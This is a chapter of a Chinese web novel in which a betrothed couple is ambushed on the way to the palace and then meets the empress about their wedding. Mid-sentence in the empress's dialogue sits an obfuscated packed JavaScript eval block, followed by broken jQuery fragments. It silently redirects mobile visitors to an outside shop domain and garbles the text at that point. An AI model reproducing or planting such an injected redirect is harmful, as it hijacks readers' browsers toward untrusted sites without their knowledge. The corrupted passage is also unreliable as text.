苏穗岁见他嘴唇微启,却不闻声,她皱了皱眉,“你说什么?”
林穆和大步朝前走去,“没什么。”
苏穗岁自讨没趣,跟上了他的步伐。
“二公子!二公子留步!”管事大步跑来,跑得气喘吁吁大汗淋漓。
林穆和闻声转头,“何事慌张?”
管事喘着粗气,躬身作揖道:“宁延宫的嬷嬷来了,正在正堂等候,二公子携苏小姐赶紧去。”
苏穗岁看向了林穆和,想看看他的意思,但她大致也能猜上几分,定是关于他俩的婚事。
“我们马上去。”林穆和应下,带着她赶紧去了正堂。
堂中侍女安分在侧,林老太太坐在正位,宁延宫的老嬷嬷也坐在主客位,一旁还站着垂眼的林尧,他看上去有些郁闷,正不高兴。
林穆和快步踏上台阶,老太太急忙站起,将拐杖拿起,“穆和快来。”
苏穗岁走在他身后,跟着他一一拜见了在座的长者。
老嬷嬷穿着一袭青色衣袍,发髻上簪了一朵荷花,她眼角已然有了细纹,看上去却十分得体,待到两人作揖后,她这才缓缓站起,带着笑意朗声道:“传漆皇后口谕,诏林将军与苏小姐二人即刻入宫。”
“臣接旨,皇后千岁千岁千千岁。”
“臣女接旨,皇后千岁千岁千千岁。”
二人一一应下,老嬷嬷点点头,将二人扶起,“二位,请随我来吧。”嬷嬷携宫女朝外走去,林穆和与苏穗岁也跟了上去。
停在府外的马车看上去便华贵得很,四周挂满了花穗,行驶起来微微晃动,甚是美观。
上了马车,一路上缓缓穿过人声鼎沸的街道,行驶到一处偏僻的小道。苏穗岁撩开帘子看向窗外的竹林,有些眼熟,让她想起那日在竹林给裴诗做的蹴鞠,她皱了皱眉头,“是不是走错路了?”
林穆和微微点头,将她手中的帘子放下,“静观其变。”
苏穗岁点了点头,透过帘子又看向了外边,外边看不出任何异常,马车还在如往常一般继续行驶。
突然,车轮声戛然而止。
苏穗岁被突然停下的马车一惊,整个人朝前扑去,好在林穆和急忙拉住了她,问道:“可有磕到哪里?”
“没有。”苏穗岁摇摇头,透过被风吹起的帘子敲见外边的场景。
马夫有些慌张,声音也微微颤动,“林将军......有人拦路......”
林穆和眉头微皱,欲将下马车。
苏穗岁一把拉住他衣袖,“敢拦宁延宫中的马车,恐怕不善,你小心些。”
林穆和挠了挠她手心,算是安慰。他跨下马车,迎面而来的是六个蒙面黑衣人,马夫明显是被吓到了,拿着缰绳的手颤颤巍巍,小声道:“将军,如何是好......”
林穆和朝后看了一眼,“嬷嬷呢?”
“玉贺嬷嬷的马车之前还跟在我们马车前面,现在......不见了。”马夫答道。
林穆和将手放到腰间,却忘了腰间的匕首并未带在身边,他沉了口气,对着黑衣人冷言道:“何人指使?”
为首的黑衣人站在前端,一双漆黑的眸子透露出杀气,声音沙哑,“你的命很值钱。”
林穆和冷冷一笑,“不如将你的买主告诉我,或许我给的更多。”
黑衣人干笑一声,“我做生意自是讲信誉的。”
林穆和笑了笑,眸子微挑,打量地看着他,“是啊,师兄一向最讲信誉。”
黑衣人抬起的手微微顿住,愣了半响才开口道:“被你认出来了。”
林穆和微微躬身,“战场上如此英勇无畏的谢小将军,何人不识?”
谢疑笑出声,像是在自嘲:“将军?我算什么将军?你倒是说笑了。”
苏穗岁在马车中听见两人的对话,有些好奇地从马车上探出了头,对上远处谢疑的冷眸。
谢疑将手中的弯刀藏在身后,“马车上是你的新妇吧?”
林穆和看了苏穗岁一眼,“是。”
谢疑将蒙面的黑布扯下,露出一张俊朗的脸庞,虽是常年喊打喊杀的人,面庞却十分白皙,他嘴角露出一抹好看的弧度,“罢了,不杀了,就当是送你的新婚礼。”
林穆和笑着躬身,“多谢师兄。”话落,几人便消失在了竹林深处。
马夫有些发愣,看上去还是惊魂未定,“将军......继续走吗?”
林穆和一脚踏上马车,“走。”
苏穗岁好奇地问道:“那是何人?你怎么认识?”
林穆和叹了口气,“你可知暨阳谢家?”
苏穗岁摇摇头,“不知。”
“我与他在练兵场相识,我们是同一个师父,他是谢家的独生子,从小跋扈惯了,后来我们一起上了战场,一起杀敌,一起喝酒。”林穆和思绪一下子飞到了多年前。
“那时候在边塞,风沙大得很,我们打完胜仗就坐在沙丘上喝酒,现在想起那酒当真难喝,苦涩的酒气夹杂着沙子几乎是难以下咽,但我们喝得依旧不亦乐乎。谢疑生得白,我们在军营都打趣他是小白脸,根本不合适上战场,就应该在家中当个纨绔公子,后来打完胜仗回宫领赏那日,却逢谢家谋害朝臣诛九族,谢疑因为军功捡回条命,从此我就再也没见过他。”
林穆和的脸埋在暗处,看不清表情,从他语气中却能知道满是遗憾。
“所以谢家是被陷害的吗?”苏穗岁问道。
林穆和抬起头,一抹光照在他脸上,“为何这样问?”
苏穗岁如实道:“从你的描述中,我想他一定是个英勇正义的小将军,既是这般的人,家庭自然不会太差,想必是遭人陷害。”
林穆和嘴角露出丝笑意,“不愧是岁岁,总能猜出我的心思。”
苏穗岁撇撇嘴。
“后来我也查过此事,但没有一丝线索。”
“林将军,到了。”马夫的声音缓缓传来,马车停在皇宫的侧门处。
“走吧。”林穆和对着苏穗岁轻声道,将她小心扶下马车。
侧门旁早已有了公公在等候,见了他俩来,赶紧上前跪拜,“林将军、苏小姐,请随老奴来。”
宁延宫内比上次来多了几盆菊花,黄灿灿地开在风中,看上去与宁延宫的柱子倒是十分和谐。
漆婉乙一身暗绿色华服,坐在殿中等候,见他俩无恙地走了进来,赶紧起身着急地问道:“听说你们来
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13276795|140005||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
的路上遇上了杀手,可有事?”
林穆和躬身拜见,“回皇后,无碍。”
漆婉乙这才轻抚衣袖,缓缓坐下,“无事便好,无事便好。”
“坐吧,在我宫中不必拘束。”漆婉乙说起话来声音很温柔,娓娓道来的感觉很是舒服。
宫女从殿外走来,手中端来一碟精美点心,放在案前。漆婉乙笑着道:“这是前几日摘的莲子做成的莲子酥,你们尝尝,若是喜欢再带些回去。”
林穆和点点头,问道:“漆皇后,玉贺嬷嬷可安好?”
漆婉乙放下茶盏,“还没回宫,刚传来消息说无恙,只是遇上了些事儿被拦了路。今日之事并非巧合,恐有意为之,只是不知你们入宫的消息是何人泄密。”
苏穗岁若有所思地问道:“漆皇后,这消息是您今日才传唤的吗?”
“并不是,是昨日与陛下商议好了的。”
“太子可在场?”林穆和突然问道。
漆婉乙面露难色,摇摇头,“太子这几日不在宫中,他去清闲观为皇太后祈福。”
“祈福?”林穆和顿了顿,“皇太后的病又加重了?”
漆婉乙点点头,“自那日诗诗生辰宴后,染了风寒,加上本就有的顽疾,身子越发不如从前了。”她朝着苏穗岁招招手,示意她上前,“你们从那些蒙面人逃出已是万幸,我和向陛下言明,严查此事。”
苏穗岁刚想谢过漆婉乙,却被林穆和打断,“其实,那些杀手并未动刀。”
漆婉乙不解地看着他,“这是何意?”
“我与其中一名杀手相识。”林穆和缓缓开口道。
苏穗岁也有些惊讶,她本以为林穆和会将此事按下来,却不料将此事抬上了案,不过若是不如实相告,想必皇后她们也会知晓。
林穆和加大了些音量,“皇后可还记得暨阳谢家,就是那个满门抄斩只留了一个小公子的那家。”
漆婉乙点点头,“自然记得,这件事当初闹得沸沸扬扬,满朝腥风血雨,可怜了这一家子人。”
“我今日遇见的便是那位谢小公子。”林穆和声音虽是波澜不惊,眉眼处跃上一抹愁意,“我与他一同在战场四年,是有些情分在的。”
漆婉乙听了也有些哀愁,眼眸处露出同情,“是个可怜的孩子,若是没出这等事,他定然能无忧无虑地活着。”
“漆皇后,我有一事相求。”林穆和掀起长袍,扑通一声跪在地面,“谢家一事定有隐情,还请皇后向陛下说明,让臣彻查此案!”
漆婉乙赶紧起身将他扶起,责备道:“你这是做什么,谢家一事是陛下亲自下的令,如此一来不成了打陛下的脸吗!我知道你念及情谊,可莫要冲动而行!”
漆婉乙微微叹气,“此事莫要在提!今日传唤你们入宫,是关于婚期,我找人算过,三日后是七月初七,正逢乞巧节,寓意和和美美,不如婚期就定在七月初七?你们觉得如何?”
苏穗岁干笑了两声,“自是极好。”
“本来陛下想将你们二人的婚事办在宫中,可念及将军府还有林老夫人,老夫人年迈不宜走动,还是将婚事办在将军府。”漆婉乙低头对着苏穗岁笑了笑,“苏大人这几日也能出狱了。”